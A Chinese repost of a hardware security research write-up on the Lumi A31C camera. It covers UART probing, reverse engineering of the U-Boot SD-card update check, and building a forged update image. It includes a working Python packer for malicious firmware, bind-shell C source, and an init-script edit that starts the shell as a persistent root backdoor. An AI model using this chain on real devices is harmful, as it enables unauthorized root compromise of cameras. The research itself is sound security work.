物联网黑客入门|Lumi–第二部分

admin 2025-12-22 03:46:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了对LumiA31C摄像头的安全研究,通过逆向工程U-Boot升级机制,研究者发现了设备固件更新流程中的漏洞。他们分析了UART接口、理解了自动更新流程、逆向分析了固件结构,最终创建了恶意更新包,成功修改设备的squashfs文件系统并植入bindshell,获得了root权限。研究详细展示了从硬件接口分析到软件漏洞利用的完整过程,为物联网设备安全提供了有价值的参考。 综合评分: 91 文章分类: IoT安全,逆向分析,漏洞分析,渗透测试,二进制安全


cover_image

物联网黑客入门 | Lumi – 第二部分

赛博知识驿站

2025年12月21日 10:49 中国香港

核心要点:通过逆向工程专有的U-Boot升级机制,我们实现了在设备上插入SD卡并重启后获得代码执行权限。

简介

我们将继续研究Lumi A31C摄像头。这次我们将分析之前提取的固件,追踪其启动逻辑,寻找控制设备的方法。

回顾物联网黑客入门 | Lumi – 第一部分,在拆解设备时,我们发现主芯片旁边有三个焊盘。

芯片旁的焊盘

探测焊盘

使用万用表找到接地点,并用SP10探针探测焊盘(无需焊接),我们推测这应该是UART接口[^1]。将其连接到USB转串口适配器后,需要正确连接TX和RX引脚:

探测焊盘

连接成功后立即获得了UART控制台输出,不过TX引脚似乎无响应。这可能是连接不良、走线被切断或软件层面被禁用。无论如何,TX引脚无法工作。继续分析实际输出的数据,发现这是一个U-Boot控制台。

分析U-Boot

识别UART引脚并猜测正确的波特率(115200)后,设备启动时会显示以下信息(此时已插入SD卡):

$ picocom -b 115200 /dev/ttyUSB0
U-Boot 2013.10.0-V3.1.28_bchV1.0.04 (Dec 27 2023 - 16:07:49)

DRAM:  64 MiB
efuse_read:0x00000004
bp_mask:0x7cstatus register: 0x200
16 MiB
bp_mask:0x7cstatus register: 0x200
read envbk data
use defualt env
sd detect gpio mode:82!
mmc_sd: 0
In:    serial
Out:   serial
Err:   serial
Net:   No ethernet found.
fatload mmc 0 0x82000000 f1r03_SD_UPDATA.enc
MMC: detect card present
mmc/sd share pin!
mmc_start_init: init OK!
cdh:sd card, mmc->capacity_user:0x76e480000 blocks!
cdh:mmc->capacity:0x76e480000 !
cdh:test_part_dos read ok!
cdh:test_part_dos DOS_PART_MAGIC_OFFSET ok!
cdh:test_part_dos DOS_MBR ok!
reading f1r03_SD_UPDATA.enc
** Unable to read file f1r03_SD_UPDATA.enc **
[do_auto_upgrade_by_SD:481] get "filesize" from env fail!
[[ 3b8bcc526a1691e7 ]]
autoboot in 3 seconds
bp_mask:0x7cstatus register: 0x200
no find 376832,pls check

SF: 1982464 bytes @ 0x5c000 Read: OK
## Booting kernel from Legacy Image at 80008000 ...
   Image Name:   Linux-4.4.192V2.1
   Image Type:   ARM Linux Kernel Image (uncompressed)
   Data Size:    1820760 Bytes = 1.7 MiB
   Load Address: 80008000
   Entry Point:  80008040
   Verifying Checksum ... OK
   XIP Kernel Image ... OK
   kernel loaded at 0x80008000, end = 0x801c4858
using: FDT

Starting kernel ...

Uncompressing Linux... done, booting the kernel.

虽然提示”autoboot in 3 seconds”(3秒后自动启动),但我们无法通过常规方法中断启动过程。有一行输出特别引人注意:

** Unable to read file f1r03_SD_UPDATA.enc **

从文件名判断,这似乎负责系统更新。这是个有趣的攻击面,值得深入研究。

理解自动更新流程

将上次转储的固件加载到Ghidra中,按照ARM:LE:32:v5t格式反汇编(基于芯片的处理器类型),然后搜索字符串f1r03_SD_UPDATA.enc。由于没有符号信息,我们花了些时间标注二进制代码中的逻辑。完成标注后,开始进一步分析。首先看检查SD卡文件的逻辑:

undefined4 checkNeedUpgrade(uint *file_bytes,int fileSize)
{
  byte *pbVar1;
  uint new_ver;
  byte *fw_crc;
  uint stored_ver;
  char *__format;
  byte *start_header;
  uint cmd [33];
  undefined *end_header;

  end_header = PTR_DAT_80e0305c;
  /* 文件加载位置 */
  start_header = (byte *)0x81ffffff;
  do {
    start_header = start_header + 1;
    *start_header = *start_header ^ 0x77;
  } while (start_header != end_header);
  pbVar1 = get_key(&sdloc,fileSize);
  __format = "getKeyPos failed.";
  if (pbVar1 != 0x0) {
    pbVar1[0xc] = 0;
    new_ver = strtol(pbVar1);
    *file_bytes = new_ver;
    /* 提取存储的固件crc32值 */
    fw_crc = do_cmd("fwver_crc32");
    if (fw_crc == 0x0) {
      stored_ver = 0xffffffff;
    }
    else {
      stored_ver = strtol(fw_crc);
    }
    __format = "do_not_need_updata";
    if (stored_ver != new_ver) {
      memset(cmd,0,0x80);
      snprintf(cmd,"setenv fwver crc32 %d",new_ver,pbVar1);
      do_uboot_cmd(cmd,0);
      do_uboot_cmd("saveenv",0);
      return 0;
    }
  }
  printf(__format);
  return 0xffffffff;
}

处理文件字节时,算法首先在第18行对内存进行0x77异或运算,然后在第20行从RAM加载位置0x82000000运行get_key()(sdloc是地址为0x82000000的全局变量)。

get_key函数定义如下:

char * get_key(char *param_1,int fileSize)
{
  char *pcVar1;

  pcVar1 = strstr(param_1,"KEY");
  if ((((pcVar1 != 0x0) && (pcVar1 = strstr(pcVar1,"="), pcVar1 != 0x0))
&nbsp; &nbsp; &nbsp; && (pcVar1 +&nbsp;1&nbsp;!=&nbsp;0x0)) && (pcVar1 +&nbsp;0x11&nbsp;< param_1 + fileSize)) {
&nbsp; &nbsp; return&nbsp;pcVar1 +&nbsp;1;
&nbsp; }
&nbsp; return&nbsp;0x0;
}

该函数提取KEY={...}的值,返回=后的内容,即CRC校验值。然后通过运行fwver_crc32命令检查存储的固件crc32值。如果两个值不相等,表示SD卡上的字节与设备当前存储的不同,升级流程将启动。

查看checkNeedUpgrade的父函数do_auto_upgrade

undefined4&nbsp;do_auto_upgrade(void)
{
&nbsp; // 省略部分代码
&nbsp; upgrade = checkNeedUpgrade(&ver_crc,_filesize);
&nbsp; if&nbsp;(upgrade ==&nbsp;0) {
&nbsp; &nbsp; compute_image_crc(&image_crc,_fsize);
&nbsp; &nbsp; printf("key2 = %d,key1=%d.",ver_crc,image_crc);
&nbsp; &nbsp; if&nbsp;(image_crc == ver_crc) {
&nbsp; &nbsp; &nbsp; printf("check ok!!!!");
&nbsp; &nbsp; &nbsp; memset(file_name,0,0x14);
&nbsp; &nbsp; &nbsp; if&nbsp;((((DAT_82000018 ==&nbsp;0x50) && (DAT_82000019 ==&nbsp;0x41)) && (DAT_8200001a ==&nbsp;0x4b)) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(pcVar3 = PTR_DAT_80e038ec, DAT_8200001b ==&nbsp;10)) {
&nbsp; // 省略部分代码

该函数在第7行调用compute_image_crc,这个函数会对提供的镜像调用compute_crc

undefined4&nbsp;compute_crc(uint param_1,byte *end)
{
&nbsp; uint start;
&nbsp; undefined2 uVar1;
&nbsp; undefined2 uVar2;

&nbsp; start = param_1 >>&nbsp;1;
&nbsp; uVar1 = do_crc(start,end,0xa001);
&nbsp; uVar2 = do_crc(param_1 - start,end + start,0xb001);
&nbsp; return&nbsp;CONCAT22(uVar1,uVar2);
}

然后调用实现crc16计算的do_crc

undefined2&nbsp;do_crc(int&nbsp;start,byte *stop,uint param_3)
{
&nbsp; uint k;
&nbsp; uint uVar1;
&nbsp; byte *end;
&nbsp; short&nbsp;r;
&nbsp; bool&nbsp;bVar2;
&nbsp; undefined2 crc;
&nbsp; byte local_buf2 [256];
&nbsp; byte local_buf1 [260];
&nbsp; byte i;

&nbsp; k =&nbsp;0;
&nbsp; do&nbsp;{
&nbsp; &nbsp; uVar1 = k &&nbsp;0xffff;
&nbsp; &nbsp; r =&nbsp;8;
&nbsp; &nbsp; do&nbsp;{
&nbsp; &nbsp; &nbsp; bVar2 = (uVar1 &&nbsp;1) !=&nbsp;0;
&nbsp; &nbsp; &nbsp; uVar1 = uVar1 >>&nbsp;1;
&nbsp; &nbsp; &nbsp; if&nbsp;(bVar2) {
&nbsp; &nbsp; &nbsp; &nbsp; uVar1 = uVar1 ^ param_3;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; r = r +&nbsp;-1;
&nbsp; &nbsp; &nbsp; if&nbsp;(bVar2) {
&nbsp; &nbsp; &nbsp; &nbsp; uVar1 = uVar1 &&nbsp;0xffff;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }&nbsp;while&nbsp;(r !=&nbsp;0);
&nbsp; &nbsp; local_buf1[k] = (byte)uVar1;
&nbsp; &nbsp; local_buf2[k] = (byte)(uVar1 >>&nbsp;8);
&nbsp; &nbsp; k = k +&nbsp;1;
&nbsp; }&nbsp;while&nbsp;(k !=&nbsp;0x100);
&nbsp; memcpy((undefined4 *)&crc,(undefined4 *)0xffff,2);
&nbsp; end = stop + start;
&nbsp; for&nbsp;(; stop != end; stop = stop +&nbsp;1) {
&nbsp; &nbsp; i = (byte)crc ^ *stop;
&nbsp; &nbsp; crc._0_1_ = local_buf1[i] ^ crc._1_1_;
&nbsp; &nbsp; crc._1_1_ = local_buf2[i];
&nbsp; }
&nbsp; return&nbsp;crc;
}

这是标准的CRC实现,具体工作原理可参考维基百科。

该函数使用两个不同的CRC多项式0xa0010xb001分别调用两次,然后将结果值连接成32位crc。

回到do_auto_upgrade函数,可以看到在初始头部之后,第12-13行期望一个魔术字符串PAK\x0a(十六进制为0x50, 0x41, 0x4b, 0x0a),位于key头部之后(文件位于0x82000000,key头部长度为0x17字节)。继续深入:

if&nbsp;((((DAT_82000018 ==&nbsp;0x50) && (DAT_82000019 ==&nbsp;0x41)) && (DAT_8200001a ==&nbsp;0x4b)) &&
&nbsp; &nbsp; &nbsp;(pcVar3 = PTR_DAT_80e038ec, DAT_8200001b ==&nbsp;10)) {
&nbsp; &nbsp; do&nbsp;{
&nbsp; &nbsp; &nbsp; pcVar5 = pcVar3;
&nbsp; &nbsp; &nbsp; pcVar3 = pcVar5 +&nbsp;1;
&nbsp; &nbsp; }&nbsp;while&nbsp;(pcVar5[1] !=&nbsp;'\n');
&nbsp; &nbsp; memset(file_name,0,0x14);
&nbsp; &nbsp; strcpy(file_name,PTR_DAT_80e038f4,(int)(pcVar5 +&nbsp;0x7dffffe5));
&nbsp; &nbsp; printf("filename is %s",file_name);
&nbsp; &nbsp; name_ok =&nbsp;strcmp("f1r03",file_name);
&nbsp; &nbsp; file_buf = (byte *)(pcVar5 +&nbsp;2);
&nbsp; &nbsp; if&nbsp;(name_ok ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; printf("board name ok!");
&nbsp; &nbsp; &nbsp; _fsize =&nbsp;4;
&nbsp; &nbsp; &nbsp; do&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(((*file_buf !=&nbsp;0x50) || (file_buf[1] !=&nbsp;0x41)) ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;((file_buf[2] !=&nbsp;0x4b&nbsp;|| (file_buf[3] !=&nbsp;10))))&nbsp;goto&nbsp;check_fail;

代码在第17行读取到下一个\n,解析出”板卡名称”。第21行将该名称与存储的板卡名称f1r03比较,如果匹配,则在第27-28行检查另一个PAK\x0a魔术值:

if&nbsp;(((*file_buf !=&nbsp;0x50) || (file_buf[1] !=&nbsp;0x41)) ||
&nbsp; &nbsp;((file_buf[2] !=&nbsp;0x4b&nbsp;|| (file_buf[3] !=&nbsp;10))))&nbsp;goto&nbsp;check_fail;
pbVar4 = file_buf +&nbsp;3;
pbVar7 = file_buf +&nbsp;4;
pbVar6 = pbVar4;
do&nbsp;{
&nbsp; pbVar6 = pbVar6 +&nbsp;1;
&nbsp; *pbVar6 = *pbVar6 ^&nbsp;0x77;
}&nbsp;while&nbsp;(pbVar6 != file_buf +&nbsp;0xe);
iVar2 =&nbsp;0;
do&nbsp;{
&nbsp; end = iVar2;
&nbsp; pbVar4 = pbVar4 +&nbsp;1;
&nbsp; iVar2 = end +&nbsp;1;
}&nbsp;while&nbsp;(*pbVar4 !=&nbsp;10);
memset(file_name,0,0x14);
strcpy((int)file_name,(char&nbsp;*)pbVar7,end);
printf("filename is %s",file_name);
sub_filesize = strtol(pbVar7 + iVar2);
printf("filesize is %d",sub_filesize);
pbVar6 = pbVar7 + iVar2;
do&nbsp;{
&nbsp; file_buf = pbVar6;
&nbsp; pbVar6 = file_buf +&nbsp;1;
}&nbsp;while&nbsp;(*file_buf !=&nbsp;10);
iVar2 =&nbsp;strcmp("c1",(char&nbsp;*)file_name);
file_buf = file_buf +&nbsp;1;
if&nbsp;(iVar2 ==&nbsp;0) {
&nbsp; do_c1((undefined4 *)file_buf,sub_filesize);
}

然后在第34行对接下来的0xe字节执行0x77异或运算,并解析出文件名和文件大小。

如果文件名等于c1,则调用do_c1函数。总共有四个这样的处理函数c1,c2,c3,c4,它们的处理逻辑基本相同:

undefined4&nbsp;do_c1(undefined4 *buf,uint size)
{
&nbsp; bool&nbsp;bVar1;
&nbsp; undefined4 uVar2;
&nbsp; byte *pbVar3;
&nbsp; uint cmd [34];

&nbsp; pbVar3 = (byte *)((int)buf +&nbsp;-1);
&nbsp; do&nbsp;{
&nbsp; &nbsp; pbVar3 = pbVar3 +&nbsp;1;
&nbsp; &nbsp; *pbVar3 = ~(*pbVar3 ^&nbsp;0x79);
&nbsp; }&nbsp;while&nbsp;(pbVar3 != (byte *)((int)buf +&nbsp;0xff));
&nbsp; memcpy(&sdloc,buf,size);
&nbsp; bVar1 = do_uboot_cmd("sf probe 0",0);
&nbsp; if&nbsp;((int)(uint)bVar1 <&nbsp;0) {
&nbsp; &nbsp; printf("[%s:%d] run cmd 'sf_probe_0' fail",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"do auto upgrade uboot by SD",0x128);
&nbsp; &nbsp; uVar2 =&nbsp;0xffffffff;
&nbsp; }
&nbsp; else&nbsp;{
&nbsp; &nbsp; memset(cmd,0,0x80);
&nbsp; &nbsp; snprintf(cmd,"sf erase %x %x",0,0x50000);
&nbsp; &nbsp; do_uboot_cmd(cmd,0);
&nbsp; &nbsp; memset(cmd,0,0x80);
&nbsp; &nbsp; snprintf(cmd,"sf write %x %x %x",0x82000000,0);
&nbsp; &nbsp; do_uboot_cmd(cmd,0);
&nbsp; &nbsp; uVar2 =&nbsp;0;
&nbsp; }
&nbsp; return&nbsp;uVar2;
}

查看do_c1命令,我们取传递给函数的文件的前0x100字节,在第12行执行0x79异或运算,然后对值进行算术取反。接着用uboot的sf probe 0[^2]命令进行完整性检查,如果成功,则在第23行擦除0x0-0x500000区域,并在第26行用sf write命令加载数据。

其他处理函数c2、c3和c4分别处理0x50000-0x1f00000x240000,0x2800000x4c0000-0x4e0000区域。

我们选择处理c4区域。但首先,该区域到底存储的是什么?

文件提取

使用binwalk查看整个固件转储,在地址0x4c0000处可以看到这实际上是一个squashfs文件系统。这让我们推测do_cN命令可能负责更新设备。

$ binwalk flash1.bin
// 省略部分输出
4980736 &nbsp; &nbsp; &nbsp; 0x4C0000 &nbsp; &nbsp; &nbsp; &nbsp;Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3454334 bytes, 131 inodes, blocksize: 131072 bytes, created: 2023-12-29 11:35:36

要从用flashrom转储的镜像中提取特定位置的数据,可以使用dd命令。然后提取出squashfs文件系统。根据上一篇文章的binwalk输出,偏移量是0x4c0000,大小是3454334。使用dd提取:

dd&nbsp;if=flash1.bin of=squashfs.bin skip=4980736 count=3454334 bs=1 status=progress

很好,现在提取了squashfs”分区”,可以用”unsquashfs”解包以便从磁盘读取文件系统。

unsquashfs squashfs.bin

这会生成./squashfs-root/文件夹,我们可以进一步分析或修改,然后重新打包成更新包。这正是我们接下来要做的。

创建更新包

首先实现代码中看到的两种异或形式,即0x77异或和0x79逻辑非异或:

def&nbsp;wrap_string(data):
&nbsp; &nbsp;b =&nbsp;b''
&nbsp; &nbsp;for&nbsp;c&nbsp;in&nbsp;data:
&nbsp; &nbsp; &nbsp; &nbsp;b += (c ^&nbsp;0x77).to_bytes(1)
&nbsp; &nbsp;return&nbsp;b

def&nbsp;wrap_image(data):
&nbsp; &nbsp; b =&nbsp;b''
&nbsp; &nbsp; for&nbsp;c&nbsp;in&nbsp;data:
&nbsp; &nbsp; &nbsp; &nbsp; b +=&nbsp;bytes([((~c) ^&nbsp;0x79)&0xff])
&nbsp; &nbsp; return&nbsp;b

接下来定义目标文件,这里选择c4以针对c4″分区”,确定大小并创建头部:

squashfs2_hdr =&nbsp;b'c4'
with&nbsp;open('repack.sfs','rb')&nbsp;as&nbsp;fd:
&nbsp; &nbsp; squashfs2 = fd.read()

squashfs2_size =&nbsp;str(len(squashfs2)).encode()
print(f"Image size:&nbsp;{squashfs2_size}")

image =&nbsp;b'PAK\n'
image +=&nbsp;b'f1r03\x00\nPAK\n'&nbsp;# 文件名
squashfs_image = squashfs2_hdr +&nbsp;b'\n'&nbsp;+ squashfs2_size
squashfs_image = wrap_string(squashfs_image + (b'\x00'&nbsp;* ((0xe&nbsp;-&nbsp;len(squashfs_image))-5)) +&nbsp;b'\n')
print("Wrapping image...")
squashfs_image += wrap_image(squashfs2[:0x100]) + squashfs2[0x100:]
image += squashfs_image

计算完所有内容后,用带校验和的头部打包,并确保填充到正确长度:

def&nbsp;add_image_header(image):
&nbsp; &nbsp; checksum = compute_crc(image, poly_a=0xA001, poly_b=0xB001, seed=0xFFFF)
&nbsp; &nbsp; print(f"Computed&nbsp;{checksum}&nbsp;for image")
&nbsp; &nbsp; buf =&nbsp;b'KEY='&nbsp;+&nbsp;str(checksum).encode() +&nbsp;b'.'
&nbsp; &nbsp; buf +=&nbsp;b'.'&nbsp;* (0x18&nbsp;-&nbsp;len(buf))
&nbsp; &nbsp; print(f"Computed header as&nbsp;{buf}")
&nbsp; &nbsp; buf = wrap_string(buf)
&nbsp; &nbsp; buf += image
&nbsp; &nbsp; return&nbsp;buf

full_image = add_image_header(image)

with&nbsp;open(sys.argv[1],'wb')&nbsp;as&nbsp;fd:
&nbsp; &nbsp; fd.write(full_image)

compute_crc的Python实现如下:

def&nbsp;_crc16_reflected(data, poly, seed):
&nbsp; &nbsp; tbl = [0]*256
&nbsp; &nbsp; for&nbsp;k&nbsp;in&nbsp;range(256):
&nbsp; &nbsp; &nbsp; &nbsp; c = k
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;_&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;c &&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = (c >>&nbsp;1) ^ poly
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c >>=&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c &=&nbsp;0xFFFF
&nbsp; &nbsp; &nbsp; &nbsp; tbl[k] = c

&nbsp; &nbsp; crc = seed &&nbsp;0xFFFF
&nbsp; &nbsp; for&nbsp;b&nbsp;in&nbsp;data:
&nbsp; &nbsp; &nbsp; &nbsp; idx = (crc ^ b) &&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; crc = ((crc >>&nbsp;8) ^ tbl[idx]) &&nbsp;0xFFFF
&nbsp; &nbsp; return&nbsp;crc

def&nbsp;compute_crc(data, poly_a, poly_b, seed):
&nbsp; &nbsp; mid =&nbsp;len(data) >>&nbsp;1
&nbsp; &nbsp; crc_hi = _crc16_reflected(data[:mid], poly_a, seed)
&nbsp; &nbsp; crc_lo = _crc16_reflected(data[mid:], &nbsp;poly_b, seed)
&nbsp; &nbsp; return&nbsp;((crc_hi &&nbsp;0xFFFF) <<&nbsp;16) | (crc_lo &&nbsp;0xFFFF)

将所有内容整合到makeupgrade.py文件中(完整代码见原文)。

将此文件放入SD卡并重启设备后,可以看到它正常工作,表明修改成功。

现在我们可以访问底层文件系统之一。如果要修改它,可以对squashfs-root文件系统进行任何修改,重新打包,然后写回SD卡。

$ mksquashfs squashfs-root repack.sfs -comp xz
$ python3 makeupgrade.py /media/user/3436-3633/f1r03_SD_UPDATA.enc
$&nbsp;rm&nbsp;repack.sfs

经过一番尝试不同的编译器(和编程语言!),我们选择了arm-linux-gnueabi-gcc和传统的C语言。编译一个简单的bind shell上传到摄像头以便轻松访问:

#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<sys/types.h>
#include&nbsp;<sys/socket.h>
#include&nbsp;<netinet/in.h>

#define&nbsp;PORT 4444

int&nbsp;server_check(int&nbsp;fd,&nbsp;struct&nbsp;sockaddr_in server)&nbsp;{
&nbsp; &nbsp; if&nbsp;(bind(fd, (struct&nbsp;sockaddr *)&server,&nbsp;sizeof(server)) !=&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; exit(EXIT_FAILURE);
&nbsp; &nbsp; }

&nbsp; &nbsp; if&nbsp;(listen(fd,&nbsp;2) !=&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; exit(EXIT_FAILURE);
&nbsp; &nbsp; }
}

int&nbsp;main(void)&nbsp;{
&nbsp; &nbsp; int&nbsp;fd, connection;
&nbsp; &nbsp;&nbsp;struct&nbsp;sockaddr_in&nbsp;server;

&nbsp; &nbsp; server.sin_family = AF_INET;
&nbsp; &nbsp; server.sin_addr.s_addr = htonl(INADDR_ANY);
&nbsp; &nbsp; server.sin_port = htons(PORT);

&nbsp; &nbsp; fd = socket(PF_INET, SOCK_STREAM,&nbsp;0);
&nbsp; &nbsp; server_check(fd, server);
&nbsp; &nbsp; connection = accept(fd,&nbsp;NULL,&nbsp;NULL);

&nbsp; &nbsp; dup2(connection,&nbsp;0);
&nbsp; &nbsp; dup2(connection,&nbsp;1);
&nbsp; &nbsp; dup2(connection,&nbsp;2);

&nbsp; &nbsp; char&nbsp;*args[] = {"sh", (char&nbsp;*)0};
&nbsp; &nbsp; execve("/bin/busybox", args,&nbsp;NULL);
&nbsp; &nbsp; close(fd);
&nbsp; &nbsp; EXIT_SUCCESS;
}

在我们的案例中,execve目标是busybox(我们本可以上传bash,但选择不这样做)。使用以下命令编译程序:

arm-linux-gnueabi-gcc -march=armv5te -mcpu=arm926ej-s -static -Os -s -c main.c -o bd

得到二进制文件bd作为bind shell。但是,我们要把它放在哪里,如何让它在目标设备上运行?

在系统中植入后门

浏览squashfs-root目录时,我们注意到boot文件夹。“`bash $ ls squashfs-root/ appver.txt  audio  autoboot.sh  bin  boot  conf  images  localver.txt  media  network  ntp  part.env  sh  vendor.env  vicam

其中包含多个在系统启动时运行的文件。

bash $ ls squashfs-root/boot anyboot.sh  S00tz  S01passwd  S06chksd  S07devinfo  S20telnet  S96chknet  S97speech  S98modules  S98ntp  S99dotstart

特别是`S07devinfo`文件引起了我们的兴趣,因为它似乎会向挂载的SD卡写入文件。

getmountpoint() {         grep “/dev/mmcblk” /proc/mounts | cut -d’ ‘ -f2 }

writedevinfo() {         INFOFILE=$1/cameradevinfo.txt

        echo “fw version” > ${INFOFILE}         cat /etc_default/version >> ${INFOFILE}

        /opt/vicam/getver.sh allver >> ${INFOFILE}         echo “network info” >> ${INFOFILE}         ifconfig >> ${INFOFILE}         iwconfig >> ${INFOFILE}

        echo “uboot env” >> ${INFOFILE}         fw_printenv >> ${INFOFILE}

省略部分代码

}

MNTPOINT=get_mount_point if [ x”${MNTPOINT}” != x”” ]; then         write_devinfo ${MNTPOINT} fi

确实,查看设备启动后SD卡的内容,可以看到:

$ cat /media/user/3436-3633/cameradevinfo.txt fw version 23.1227.472.2926 ——-device version——— ——-[a31cblurams_SD]———

省略部分输出

进一步研究这个`devinfo`文件时,发现这个特定的`squashfs-root`会被挂载到`/opt`目录。

$ cat /media/user/3436-3633/camera_devinfo.txt

省略部分输出

/dev/mtdblock3 on /opt type squashfs (ro,relatime)

省略部分输出

因此,修改这个`S07devinfo`脚本很可能是获得代码执行权限的目标。为了测试这一点,我们将编译好的`bd`文件放入`squashfs-root/boot`目录,并修改`S07devinfo`脚本,添加以下行:

writedevinfo() {         INFOFILE=$1/cameradevinfo.txt

        echo “fw version” > ${INFOFILE}         cat /etc_default/version >> ${INFOFILE}

        /opt/vicam/getver.sh allver >> ${INFOFILE}         echo “network info” >> ${INFOFILE}         ifconfig >> ${INFOFILE}         iwconfig >> ${INFOFILE}

        echo “uboot env” >> ${INFOFILE}

        /opt/boot/bd.sh &

        fw_printenv >> ${INFOFILE}

省略部分代码

}

其中添加的行是`/opt/boot/bd.sh &`。该文件的内容如下:

$ cat squashfs-root/boot/bd.sh

!/usr/bin/env sh

while [ 1 ] ; do /opt/boot/bd; sleep 1; done

剩下的工作就是重新打包后插入SD卡,启动设备,重新连接它正在广播的网络,然后:

$ nc -v 192.165.56.1 4444 Connection to 192.165.56.1 4444 port [tcp/*] succeeded! id uid=0(root) gid=0 “`

成功获得root权限的(bind)shell!

注释:

1. UART是嵌入式设备非常常见的调试接口。参考:https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter↩︎ 2. sf命令用于访问SPI闪存,支持读/写/擦除等功能。参考:https://docs.u-boot.org/en/latest/usage/cmd/sf.html↩︎

原文:https://vindivlabs.com/research/lumi_part_2/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 《物联网黑客入门 | Lumi – 第二部分》

评论:0   参与:  2